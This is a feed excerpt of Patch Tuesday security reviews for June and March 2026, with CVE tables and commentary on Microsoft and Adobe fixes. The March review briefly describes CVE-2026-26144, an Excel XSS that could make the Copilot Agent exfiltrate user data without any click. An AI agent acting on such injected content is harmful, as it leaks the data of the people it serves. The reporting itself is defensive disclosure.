  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Is Fine-Tuning Still Needed? LLMs, RAG, & LoRA]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694532/it-security-video/is-fine-tuning-still-needed-llms-rag-lora/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694532/it-security-video/is-fine-tuning-still-needed-llms-rag-lora/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:23 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>YouTube Video</p><p><iframe loading="lazy" src="https://www.youtube.com/embed/-W2JdSl1v48"></iframe></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Accelerating Arm momentum in Japan with App Assure]]></title>
<description><![CDATA[Worldwide, customers are adopting Arm-powered Copilot+ PCs for the many benefits they provide over traditional PCs. These devices deliver industry-leading performance, outpacing competitors in both every day and demanding workloads, while off
The post Accelerating Arm momentum in Japan with App A...]]></description>
<link>https://tsecurity.de/de/3694514/it-security-nachrichten/accelerating-arm-momentum-in-japan-with-app-assure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694514/it-security-nachrichten/accelerating-arm-momentum-in-japan-with-app-assure/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Worldwide, customers are adopting Arm-powered Copilot+ PCs for the many benefits they provide over traditional PCs. These devices deliver industry-leading performance, outpacing competitors in both every day and demanding workloads, while off</p>
<p>The post <a href="https://blogs.windows.com/windowsdeveloper/2026/02/10/accelerating-arm-momentum-in-japan-with-app-assure/">Accelerating Arm momentum in Japan with App Assure</a> appeared first on <a href="https://blogs.windows.com/windowsdeveloper">Windows Developer Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Part 3 – Babylon.js 9.0: OpenPBR and additional engine updates]]></title>
<description><![CDATA[Babylon.js 9.0 introduces several enhancements to help developers build beautiful, high-performance 3D experiences.
OpenPBR Support - Alpha
Babylon.js 9.0 begins implementation of Part 3 – Babylon.js 9.0: OpenPBR and additional engine updates appeared first on Windows Developer Blog.]]></description>
<link>https://tsecurity.de/de/3694509/it-security-nachrichten/part-3-babylonjs-90-openpbr-and-additional-engine-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694509/it-security-nachrichten/part-3-babylonjs-90-openpbr-and-additional-engine-updates/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Babylon.js 9.0 introduces several enhancements to help developers build beautiful, high-performance 3D experiences.</p>
<h2><strong>OpenPBR Support - Alpha</strong></h2>
<p>Babylon.js 9.0 begins implementation of <a href="https://github.com/AcademySoftwareF%0A%3C/p%3E%0A%3Cp%3EThe%20post%20%3Ca%20href=" https:>Part 3 – Babylon.js 9.0: OpenPBR and additional engine updates</a> appeared first on <a href="https://blogs.windows.com/windowsdeveloper">Windows Developer Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A new way to look at data privacy]]></title>
<description><![CDATA[Researchers create a privacy technique that protects sensitive data while maintaining a machine-learning model’s performance.]]></description>
<link>https://tsecurity.de/de/3694497/it-security-nachrichten/a-new-way-to-look-at-data-privacy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694497/it-security-nachrichten/a-new-way-to-look-at-data-privacy/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers create a privacy technique that protects sensitive data while maintaining a machine-learning model’s performance.]]></content:encoded>
</item>
<item>
<title><![CDATA[Accelerating AI tasks while preserving data security]]></title>
<description><![CDATA[The SecureLoop search tool efficiently identifies secure designs for hardware that can boost the performance of complex AI tasks, while requiring less energy.]]></description>
<link>https://tsecurity.de/de/3694495/it-security-nachrichten/accelerating-ai-tasks-while-preserving-data-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694495/it-security-nachrichten/accelerating-ai-tasks-while-preserving-data-security/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The SecureLoop search tool efficiently identifies secure designs for hardware that can boost the performance of complex AI tasks, while requiring less energy.]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
